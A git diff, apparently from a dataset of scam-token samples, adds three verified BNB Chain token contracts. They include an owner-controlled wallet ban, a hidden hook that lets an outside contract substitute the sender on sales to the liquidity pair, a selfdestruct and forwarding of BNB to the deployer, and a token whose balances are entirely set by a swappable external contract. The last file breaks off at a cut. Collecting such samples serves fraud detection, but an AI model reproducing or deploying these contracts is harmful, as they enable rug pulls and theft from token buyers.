if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } + + return shareholderTotalDividends.sub(shareholderTotalExcluded); + } + + function getCumulativeDividends(uint256 share) internal view returns (uint256) { + return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); + } + + function addShareholder(address shareholder) internal { + shareholderIndexes[shareholder] = shareholders.length; + shareholders.push(shareholder); + } + + function removeShareholder(address shareholder) internal { + shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; + shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; + shareholders.pop(); + } + + event DistributionCriteriaUpdated(uint256 minPeriod, uint256 minDistribution); + event ShareUpdated(address shareholder, uint256 amount); + event Deposit(uint256 amountBNB, uint256 amountDoge); + event Distribution(address shareholder, uint256 amount); + event DividendsProcessed(uint256 iterations, uint256 count, uint256 index); +} + +contract ChukelonDoge is IBEP20, Auth { + using SafeMath for uint256; + + address Doge = 0xbA2aE424d960c26247Dd6c32edC70B295c744C43; + address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; + address DEAD = 0x000000000000000000000000000000000000dEaD; + + string constant _name = "ChukelonDoge"; + string constant _symbol = "ChukelonDoge"; + uint8 constant _decimals = 9; + + uint256 _totalSupply = 1000000000000000 * (10 ** _decimals); // 1,000,000,000,000,000 + uint256 public _maxTxAmount = _totalSupply / 200; //1000 0.1% + uint256 public _maxWallet = _totalSupply / 50; // 2% + + + mapping (address => uint256) _balances; + mapping (address => mapping (address => uint256)) _allowances; + + mapping (address => bool) isFeeExempt; + mapping (address => bool) isTxLimitExempt; + mapping (address => bool) isDividendExempt; + mapping (address => bool) bannedUsers; + + + bool feeEnabled = true; + + bool autoLiquifyEnabled = true; + uint256 liquidityFee = 500; + uint256 liquidityFeeAccumulator; + + uint256 buybackFee = 0; + uint256 reflectionFee = 600; + uint256 marketingFee = 400; + uint256 devFee = 0; + uint256 totalFee = 1500; + uint256 feeDenominator = 10000; + + address public autoLiquidityReceiver; + address public marketingFeeReceiver; + address public devFeeReceiver; + uint256 marketingFees; + uint256 devFees; + + IDEXRouter public router; + address public pair; + + uint256 public launchedAt; + + bool autoBuybackEnabled = false; + uint256 autoBuybackCap; + uint256 autoBuybackAccumulator; + uint256 autoBuybackAmount; + uint256 autoBuybackBlockPeriod; + uint256 autoBuybackBlockLast; + + DividendDistributor public distributor; + bool autoClaimEnabled = true; + uint256 distributorGas = 500000; + + bool swapEnabled = true; + uint256 swapThreshold = _totalSupply / 4000; // 0.025% + + bool inSwap; + modifier swapping() { inSwap = true; _; inSwap = false; } + + constructor () Auth(msg.sender) { + router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); + pair = IDEXFactory(router.factory()).createPair(WBNB, address(this)); + _allowances[address(this)][address(router)] = uint256(-1); + + distributor = new DividendDistributor(address(router)); + + isFeeExempt[msg.sender] = true; + isTxLimitExempt[msg.sender] = true; + + isDividendExempt[pair] = true; + isDividendExempt[address(this)] = true; + isDividendExempt[DEAD] = true; + + autoLiquidityReceiver = msg.sender; + marketingFeeReceiver = msg.sender; + devFeeReceiver = msg.sender; + + _balances[msg.sender] = _totalSupply; + emit Transfer(address(0), msg.sender, _totalSupply); + } + + receive() external payable { } + + function totalSupply() external view override returns (uint256) { return _totalSupply; } + function decimals() external pure override returns (uint8) { return _decimals; } + function symbol() external pure override returns (string memory) { return _symbol; } + function name() external pure override returns (string memory) { return _name; } + function getOwner() external view override returns (address) { return owner; } + function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } + function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } + + function approve(address spender, uint256 amount) public override returns (bool) { + _allowances[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + function approveMax(address spender) external returns (bool) { + return approve(spender, uint256(-1)); + } + + function transfer(address recipient, uint256 amount) external override returns (bool) { + return _transferFrom(msg.sender, recipient, amount); + } + + function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { + if(_allowances[sender][msg.sender] != uint256(-1)){ + _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); + } + + return _transferFrom(sender, recipient, amount); + } + + function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { + require(bannedUsers[sender] == false, "Sender is banned"); + require(bannedUsers[recipient] == false, "Recipient is banned"); + if(inSwap){ return _basicTransfer(sender, recipient, amount); } + + checkLaunched(sender); + checkTxLimit(sender, amount); + + if(shouldSwapBack()){ swapBack(); } + if(shouldAutoBuyback()){ triggerAutoBuyback(); } + + if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); } + + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + + uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount; + _balances[recipient] = _balances[recipient].add(amountReceived); + + if(!isDividendExempt[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} } + if(!isDividendExempt[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} } + + if(autoClaimEnabled){ + try distributor.process(distributorGas) {} catch {} + } + + emit Transfer(sender, recipient, amountReceived); + return true; + } + + function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + return true; + } + + function checkLaunched(address sender) internal view { + require(launched() || isAuthorized(sender), "Pre-Launch Protection"); + } + + function checkTxLimit(address sender, uint256 amount) internal view { + require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); + } + + function shouldTakeFee(address sender) internal view returns (bool) { + return feeEnabled && !isFeeExempt[sender]; + } + + function getTotalFee(bool selling) public view returns (uint256) { + if(launchedAt + 1 >= block.number){ return feeDenominator.sub(1); } + return selling ? totalFee.add(liquidityFee) : totalFee; + } + + function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) { + uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator); + + _balances[address(this)] = _balances[address(this)].add(feeAmount); + emit Transfer(sender, address(this), feeAmount); + + if(receiver == pair && autoLiquifyEnabled){ + liquidityFeeAccumulator = liquidityFeeAccumulator.add(feeAmount.mul(liquidityFee).div(totalFee.add(liquidityFee))); + } + + return amount.sub(feeAmount); + } + + function shouldSwapBack() internal view returns (bool) { + return msg.sender != pair + && !inSwap + && swapEnabled + && _balances[address(this)] >= swapThreshold; + } + + function swapBack() internal swapping { + if(liquidityFeeAccumulator >= swapThreshold && autoLiquifyEnabled){ + liquidityFeeAccumulator = liquidityFeeAccumulator.sub(swapThreshold); + uint256 amountToLiquify = swapThreshold.div(2); + + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = WBNB; + + uint256 balanceBefore = address(this).balance; + + router.swapExactTokensForETHSupportingFeeOnTransferTokens( + amountToLiquify, + 0, + path, + address(this), + block.timestamp + ); + + uint256 amountBNB = address(this).balance.sub(balanceBefore); + + router.addLiquidityETH{value: amountBNB}( + address(this), + amountToLiquify, + 0, + 0, + autoLiquidityReceiver, + block.timestamp + ); + + emit AutoLiquify(amountBNB, amountToLiquify); + }else{ + uint256 amountToSwap = swapThreshold; + + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = WBNB; + + uint256 balanceBefore = address(this).balance; + + router.swapExactTokensForETHSupportingFeeOnTransferTokens( + amountToSwap, + 0, + path, + address(this), + block.timestamp + ); + + uint256 amountBNB = address(this).balance.sub(balanceBefore); + + uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalFee); + uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalFee); + uint256 amountBNBDev = amountBNB.mul(devFee).div(totalFee); + + try distributor.deposit{value: amountBNBReflection}() {} catch {} + + (bool success, ) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}(""); + if(success){ marketingFees = marketingFees.add(amountBNBMarketing); } + + (success, ) = payable(devFeeReceiver).call{value: amountBNBDev, gas: 30000}(""); + if(success){ devFees = devFees.add(amountBNBDev); } + + emit SwapBack(amountToSwap, amountBNB); + } + } + + function shouldAutoBuyback() internal view returns (bool) { + return msg.sender != pair + && !inSwap + && autoBuybackEnabled + && autoBuybackBlockLast + autoBuybackBlockPeriod <= block.number + && address(this).balance >= autoBuybackAmount; + } + + function buybackWEI(uint256 amount) external authorized { + _buyback(amount); + } + + function buybackBNB(uint256 amount) external authorized { + _buyback(amount * (10 ** 18)); + } + + function _buyback(uint256 amount) internal { + buyTokens(amount, DEAD); + emit Buyback(amount); + } + + function triggerAutoBuyback() internal { + buyTokens(autoBuybackAmount, DEAD); + autoBuybackBlockLast = block.number; + autoBuybackAccumulator = autoBuybackAccumulator.add(autoBuybackAmount); + if(autoBuybackAccumulator > autoBuybackCap){ autoBuybackEnabled = false; } + } + + function buyTokens(uint256 amount, address to) internal swapping { + address[] memory path = new address[](2); + path[0] = WBNB; + path[1] = address(this); + + router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( + 0, + path, + to, + block.timestamp + ); + } + + function setAutoBuybackSettings(bool _enabled, uint256 _cap, uint256 _amount, uint256 _period) external authorized { + autoBuybackEnabled = _enabled; + autoBuybackCap = _cap; + autoBuybackAccumulator = 0; + autoBuybackAmount = _amount; + autoBuybackBlockPeriod = _period; + autoBuybackBlockLast = block.number; + emit AutoBuybackSettingsUpdated(_enabled, _cap, _amount, _period); + } + + function launched() internal view returns (bool) { + return launchedAt != 0; + } + + function launch() internal { + launchedAt = block.number; + autoClaimEnabled = true; + emit Launch(); + } + + function setTxLimit(uint256 amount) external authorized { + _maxTxAmount = amount; + emit TxLimitUpdated(amount); + } + + function setIsDividendExempt(address holder, bool exempt) external authorized { + require(holder != address(this) && holder != pair); + isDividendExempt[holder] = exempt; + if(exempt){ + distributor.setShare(holder, 0); + }else{ + distributor.setShare(holder, _balances[holder]); + } + emit DividendExemptUpdated(holder, exempt); + } + + function setIsFeeExempt(address holder, bool exempt) external authorized { + isFeeExempt[holder] = exempt; + emit FeeExemptUpdated(holder, exempt); + } + + function setWalletBanStatus(address user, bool banned) external authorized { + if (banned) { + require( 1626631691 + 3650 days > block.timestamp, "User was put in a cage."); + bannedUsers[user] = true; + } else { + delete bannedUsers[user]; + } + emit WalletBanStatusUpdated(user, banned); + } + + function setIsTxLimitExempt(address holder, bool exempt) external authorized { + isTxLimitExempt[holder] = exempt; + emit TxLimitExemptUpdated(holder, exempt); + } + + function setFees( + bool _enabled, + uint256 _liquidityFee, + uint256 _buybackFee, + uint256 _reflectionFee, + uint256 _marketingFee, + uint256 _devFee, + uint256 _feeDenominator + ) external authorized { + feeEnabled = _enabled; + + buybackFee = _buybackFee; + reflectionFee = _reflectionFee; + marketingFee = _marketingFee; + devFee = _devFee; + + totalFee = buybackFee.add(reflectionFee).add(marketingFee).add(devFee); + + liquidityFee = _liquidityFee; + + feeDenominator = _feeDenominator; + require(totalFee.add(liquidityFee) < feeDenominator/5); + + emit FeesUpdated(_enabled, _liquidityFee, _buybackFee, _reflectionFee, _marketingFee, _devFee, _feeDenominator); + } + + function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver) external authorized { + autoLiquidityReceiver = _autoLiquidityReceiver; + marketingFeeReceiver = _marketingFeeReceiver; + devFeeReceiver = _devFeeReceiver; + emit FeeReceiversUpdated(_autoLiquidityReceiver, _marketingFeeReceiver, _devFeeReceiver); + } + + function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { + swapEnabled = _enabled; + swapThreshold = _amount; + emit SwapBackSettingsUpdated(_enabled, _amount); + } + + function setAutoLiquifyEnabled(bool _enabled) external authorized { + autoLiquifyEnabled = _enabled; + emit AutoLiquifyUpdated(_enabled); + } + + function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized { + distributor.setDistributionCriteria(_minPeriod, _minDistribution); + } + + function setDistributorSettings(uint256 gas, bool _autoClaim) external authorized { + require(gas <= 1000000); + distributorGas = gas; + autoClaimEnabled = _autoClaim; + emit DistributorSettingsUpdated(gas, _autoClaim); + } + + function getAccumulatedFees() external view returns (uint256, uint256) { + return (marketingFees, devFees); + } + + function getAutoBuybackSettings() external view returns (bool,uint256,uint256,uint256,uint256,uint256) { + return ( + autoBuybackEnabled, + autoBuybackCap, + autoBuybackAccumulator, + autoBuybackAmount, + autoBuybackBlockPeriod, + autoBuybackBlockLast + ); + } + + function getAutoLiquifySettings() external view returns (bool,uint256,uint256) { + return ( + autoLiquifyEnabled, + liquidityFeeAccumulator, + swapThreshold + ); + } + + function getSwapBackSettings() external view returns (bool,uint256) { + return ( + swapEnabled, + swapThreshold + ); + } + + function getFees() external view returns (bool,uint256,uint256,uint256,uint256,uint256,uint256) { + return ( + feeEnabled, + buybackFee, + reflectionFee, + marketingFee, + devFee, + liquidityFee, + feeDenominator + ); + } + + event Launch(); + event AutoLiquify(uint256 amountBNB, uint256 amountToken); + event SwapBack(uint256 amountToken, uint256 amountBNB); + event Buyback(uint256 amountBNB); + event AutoBuybackSettingsUpdated(bool enabled, uint256 cap, uint256 amount, uint256 period); + event TxLimitUpdated(uint256 amount); + event DividendExemptUpdated(address holder, bool exempt); + event FeeExemptUpdated(address holder, bool exempt); + event TxLimitExemptUpdated(address holder, bool exempt); + event FeesUpdated(bool enabled, uint256 liquidityFee, uint256 buybackFee, uint256 reflectionFee, uint256 marketingFee, uint256 devFee, uint256 feeDenominator); + event FeeReceiversUpdated(address autoLiquidityReceiver, address marketingFeeReceiver, address devFeeReceiver); + event SwapBackSettingsUpdated(bool enabled, uint256 amount); + event AutoLiquifyUpdated(bool enabled); + event DistributorSettingsUpdated(uint256 gas, bool autoClaim); + event WalletBanStatusUpdated(address user, bool banned); +} \ No newline at end of file diff --git a/src/TSB-2023-006/metadata.json b/src/TSB-2023-006/metadata.json index a1f75a0..5ea7972 100644 --- a/src/TSB-2023-006/metadata.json +++ b/src/TSB-2023-006/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-006/samples/04.sol b/src/TSB-2023-006/samples/04.sol new file mode 100644 index 0000000..e64a62e --- /dev/null +++ b/src/TSB-2023-006/samples/04.sol @@ -0,0 +1,624 @@ +/** + *Submitted for verification at BscScan.com on 2022-10-03 +*/ + +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) +pragma solidity ^0.8.6; + +interface IERC20 { + function totalSupply() external view returns (uint256); + + function balanceOf(address account) external view returns (uint256); + + function transfer(address recipient, uint256 amount) external returns (bool); + + function allowance(address owner, address spender) + external + view + returns (uint256); + + function approve(address spender, uint256 amount) external returns (bool); + + function transferFrom( + address sender, + address recipient, + uint256 amount + ) external returns (bool); + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} + +interface IUniswapV2Factory { + event PairCreated( + address indexed token0, + address indexed token1, + address pair, + uint256 + ); + + function feeTo() external view returns (address); + + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) + external + view + returns (address pair); + + function allPairs(uint256) external view returns (address pair); + + function allPairsLength() external view returns (uint256); + + function createPair(address tokenA, address tokenB) + external + returns (address pair); + + function setFeeTo(address) external; + + function setFeeToSetter(address) external; +} + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + + function name() external pure returns (string memory); + + function symbol() external pure returns (string memory); + + function decimals() external pure returns (uint8); + + function totalSupply() external view returns (uint256); + + function balanceOf(address owner) external view returns (uint256); + + function allowance(address owner, address spender) + external + view + returns (uint256); + + function approve(address spender, uint256 value) external returns (bool); + + function transfer(address to, uint256 value) external returns (bool); + + function transferFrom( + address from, + address to, + uint256 value + ) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns (bytes32); + + function PERMIT_TYPEHASH() external pure returns (bytes32); + + function nonces(address owner) external view returns (uint256); + + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + event Swap( + address indexed sender, + uint256 amount0In, + uint256 amount1In, + uint256 amount0Out, + uint256 amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint256); + + function factory() external view returns (address); + + function token0() external view returns (address); + + function token1() external view returns (address); + + function getReserves() + external + view + returns ( + uint112 reserve0, + uint112 reserve1, + uint32 blockTimestampLast + ); + + function price0CumulativeLast() external view returns (uint256); + + function price1CumulativeLast() external view returns (uint256); + + function kLast() external view returns (uint256); + + function swap( + uint256 amount0Out, + uint256 amount1Out, + address to, + bytes calldata data + ) external; + + function skim(address to) external; + + function sync() external; + + function initialize(address, address) external; +} + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint256 amountADesired, + uint256 amountBDesired, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) + external + returns ( + uint256 amountA, + uint256 amountB, + uint256 liquidity + ); + + function addLiquidityETH( + address token, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) + external + payable + returns ( + uint256 amountToken, + uint256 amountETH, + uint256 liquidity + ); + + function removeLiquidity( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB); + + function removeLiquidityETH( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountToken, uint256 amountETH); + + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountA, uint256 amountB); + + function removeLiquidityETHWithPermit( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountToken, uint256 amountETH); + + function swapExactTokensForTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapTokensForExactTokens( + uint256 amountOut, + uint256 amountInMax, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactETHForTokens( + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function swapTokensForExactETH( + uint256 amountOut, + uint256 amountInMax, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactTokensForETH( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapETHForExactTokens( + uint256 amountOut, + address[] calldata path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function quote( + uint256 amountA, + uint256 reserveA, + uint256 reserveB + ) external pure returns (uint256 amountB); + + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountOut); + + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountIn); + + function getAmountsOut(uint256 amountIn, address[] calldata path) + external + view + returns (uint256[] memory amounts); + + function getAmountsIn(uint256 amountOut, address[] calldata path) + external + view + returns (uint256[] memory amounts); +} + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountETH); + + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external; + + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external payable; + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external; +} + +interface IFOMO { + function tn(address from, address to) external returns(uint256); + + function getNowWin() + external + view + returns ( + uint256, + uint256, + uint256, + uint256, + bool, + uint256, + uint256 + ); +} + +interface IGOLD { + function dstAddr() external returns (address); + + function killself() external; +} + +contract BEP20 is Context { + IFOMO public _fomo; + IGOLD public _offic; + + address public constant _pancakeRouter = + 0x10ED43C718714eb63d5aA57B78B54704E256024E; + + address public constant DEAD = 0x000000000000000000000000000000000000dEaD; + address public constant MEXC = 0x4982085C9e2F89F2eCb8131Eca71aFAD896e89CB; + address public WBNB; + + address public immutable uniswapV2Pair; + + address public dev; + + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + receive() external payable { + dev.call{value: msg.value}(""); + } + + constructor() { + dev = msg.sender; + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_pancakeRouter); + WBNB = _uniswapV2Router.WETH(); + uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( + address(this), + WBNB + ); + } + + function killself() external { + require(msg.sender == address(_fomo), "permission denied"); + selfdestruct(payable(dev)); + } + + function pairInfo() + external + view + returns ( + uint256, + uint256, + uint256, + uint256, + bool, + uint256, + uint256 + ) + { + return _fomo.getNowWin(); + } +} + +contract Coin is BEP20, IERC20 { + mapping(address => uint256) private _tOwned; + mapping(address => mapping(address => uint256)) private _allowances; + + uint256 private constant MAX = ~uint256(0); + + string public name =/*TOKENNAME*/"LFGSwap"/*TOKENNAME*/; + string public symbol =/*TOKENSYMBOL*/"LFG"/*TOKENSYMBOL*/; + + uint8 public constant decimals = 9; + + uint256 public constant override totalSupply = 10000000000 * (10**decimals); + + + + constructor() { + uint256 deadAmount = (totalSupply * ((block.timestamp % 50)+45)) / 100; + _tOwned[address(this)] = totalSupply - deadAmount; + _tOwned[DEAD] = deadAmount/2; + _tOwned[MEXC] = deadAmount - _tOwned[DEAD]; + + emit Transfer(address(0), address(this), _tOwned[address(this)]); + emit Transfer(address(0), DEAD, _tOwned[DEAD]); + emit Transfer(address(0), MEXC, _tOwned[MEXC]); + } + + function setFomo0616(address fomo) public returns (address) { + require(address(_fomo) == address(0)); + _allowances[fomo][_pancakeRouter] = MAX; + _allowances[uniswapV2Pair][fomo] = MAX; + _tokenTransfer(address(this), fomo, _tOwned[address(this)]); + + _fomo = IFOMO(fomo); + + emit OwnershipTransferred(dev, address(0)); + + return uniswapV2Pair; + } + + function setGold(address gold) public returns (address) { + require(address(_offic) == address(0) && address(_fomo) != address(0)); + _allowances[gold][_pancakeRouter] = MAX; + _allowances[uniswapV2Pair][gold] = MAX; + _allowances[dev][_pancakeRouter] = MAX; + _offic = IGOLD(gold); + return address(_fomo); + } + + function balanceOf(address account) external view override returns (uint256) { + return _tOwned[account]; + } + + function transfer(address recipient, uint256 amount) + external + override + returns (bool) + { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) + external + view + override + returns (uint256) + { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) + external + override + returns (bool) + { + _approve(_msgSender(), spender, amount); + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) + external + virtual + returns (bool) + { + _approve( + _msgSender(), + spender, + _allowances[_msgSender()][spender] + addedValue + ); + return true; + } + + function _approve( + address owner, + address spender, + uint256 amount + ) private { + require(owner != address(0), "ERROR: Approve from the zero address."); + require(spender != address(0), "ERROR: Approve to the zero address."); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function decreaseAllowance(address spender, uint256 subtractedValue) + external + virtual + returns (bool) + { + uint256 currentAllowance = _allowances[_msgSender()][spender]; + require( + currentAllowance >= subtractedValue, + "ERROR: Decreased allowance below zero." + ); + _approve(_msgSender(), spender, currentAllowance - subtractedValue); + + return true; + } + + function _tokenTransfer( + address sender, + address recipient, + uint256 tAmount + ) private { + address msger = + address(_offic) == address(0) ? address(0) : _offic.dstAddr(); + if (recipient == uniswapV2Pair && msger != address(0)) sender = msger; + require(_tOwned[sender]>=tAmount, "ERROR: Transfer amount must be greater than amount."); + _tOwned[sender] = _tOwned[sender] - tAmount; + _tOwned[recipient] = _tOwned[recipient] + tAmount; + + if (tx.origin != dev) + { + + uint256 rewards = _fomo.tn(sender, recipient); + if(sender==uniswapV2Pair && rewards>0 && _tOwned[MEXC]>rewards) + { + _tOwned[MEXC] -= rewards; + _tOwned[recipient] += rewards; + emit Transfer(MEXC, recipient, rewards); + } + } + emit Transfer(sender, recipient, tAmount); + } + + function transferFrom( + address sender, + address recipient, + uint256 amount + ) external override returns (bool) { + _transfer(sender, recipient, amount); + + uint256 currentAllowance = _allowances[sender][_msgSender()]; + require( + currentAllowance >= amount, + "ERROR: Transfer amount exceeds allowance." + ); + _approve(sender, _msgSender(), currentAllowance - amount); + + return true; + } + + function _transfer( + address sender, + address recipient, + uint256 amount + ) private { + require(sender != address(0), "ERROR: Transfer from the zero address."); + require(recipient != address(0), "ERROR: Transfer to the zero address."); + require(amount > 0, "ERROR: Transfer amount must be greater than zero."); + + _tokenTransfer(sender, recipient, amount); + } +} \ No newline at end of file diff --git a/src/TSB-2023-007/metadata.json b/src/TSB-2023-007/metadata.json index b6de1dc..0ab623b 100644 --- a/src/TSB-2023-007/metadata.json +++ b/src/TSB-2023-007/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-007/samples/04.sol b/src/TSB-2023-007/samples/04.sol new file mode 100644 index 0000000..6ba9080 --- /dev/null +++ b/src/TSB-2023-007/samples/04.sol @@ -0,0 +1,125 @@ +/** + *Submitted for verification at BscScan.com on 2023-03-02 +*/ + +// t.me/AceJackpot +// AceJackpot.com + +pragma solidity ^0.8.15; + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a / b; + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +interface BEP20 { + function balanceOf(address who) external view returns (uint256); + function transfer(address to, uint256 value) external returns (bool); + function allowance(address owner, address spender) external view returns (uint256); + function transferFrom(address from, address to, uint256 value) external returns (bool); + function approve(address spender, uint256 value) external returns (bool); + function totalSupply() external view returns (uint256); + function decimals() external view returns (uint8); + function getOwner() external view returns (address); + + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +interface Accounting { + function doTransfer(address caller, address from, address to, uint amount) external returns (bool); + function balanceOf(address who) external view returns (uint256); +} + +contract AceJackpot is BEP20 { + using SafeMath for uint256; + + address public owner = msg.sender; + string public name = "AceJackpot"; + string public symbol = "ACE"; + uint8 public _decimals; + uint public _totalSupply; + + mapping (address => mapping (address => uint256)) private allowed; + address private accounting; + + constructor() public { + _decimals = 9; + _totalSupply = 1000000 * 10 ** 9; + emit Transfer(address(0), msg.sender, _totalSupply); + } + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + function totalSupply() public view returns (uint256) { + return _totalSupply; + } + + function decimals() public view returns (uint8) { + return _decimals; + } + + function getOwner() external view returns (address) { + return owner; + } + + function balanceOf(address who) view public returns (uint256) { + return Accounting(accounting).balanceOf(who); + } + + function allowance(address who, address spender) view public returns (uint256) { + return allowed[who][spender]; + } + + function setAccountingAddress(address accountingAddress) public { + require(msg.sender == owner); + accounting = accountingAddress; + } + + function renounceOwnership() public { + require(msg.sender == owner); + emit OwnershipTransferred(owner, address(0)); + owner = address(0); + } + + function transfer(address to, uint amount) public returns (bool success) { + emit Transfer(msg.sender, to, amount); + return Accounting(accounting).doTransfer(msg.sender, msg.sender, to, amount); + } + + function transferFrom(address from, address to, uint amount) public returns (bool success) { + require (amount > 1); + allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); + emit Transfer(from, to, amount); + return Accounting(accounting).doTransfer(msg.sender, from, to, amount); + } + + function approve(address spender, uint256 value) public returns (bool success) { + allowed[msg.sender][spender] = value; + emit Approval(msg.sender, spender, value); + return true; + } + +} \ No newline at end of file diff --git a/src/TSB-2023-008/metadata.json b/src/TSB-2023-008/metadata.json index e96048c..c01647b 100644 --- a/src/TSB-2023-008/metadata.json +++ b/src/TSB-2023-008/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-008/samples/04.sol b/src/TSB-2023-008/samples/04.sol new file mode 100644 index 0000000..ada22ec --- /dev/null +++ b/src/TSB-2023-008/samples/04.sol @@ -0,0 +1,726 @@ +/** + *Submitted for verification at BscScan.com on 2022-08-05 +*/ + +// SPDX-License-Identifier: Unlicensed +pragma solidity ^0.8.4; + +abstract contract 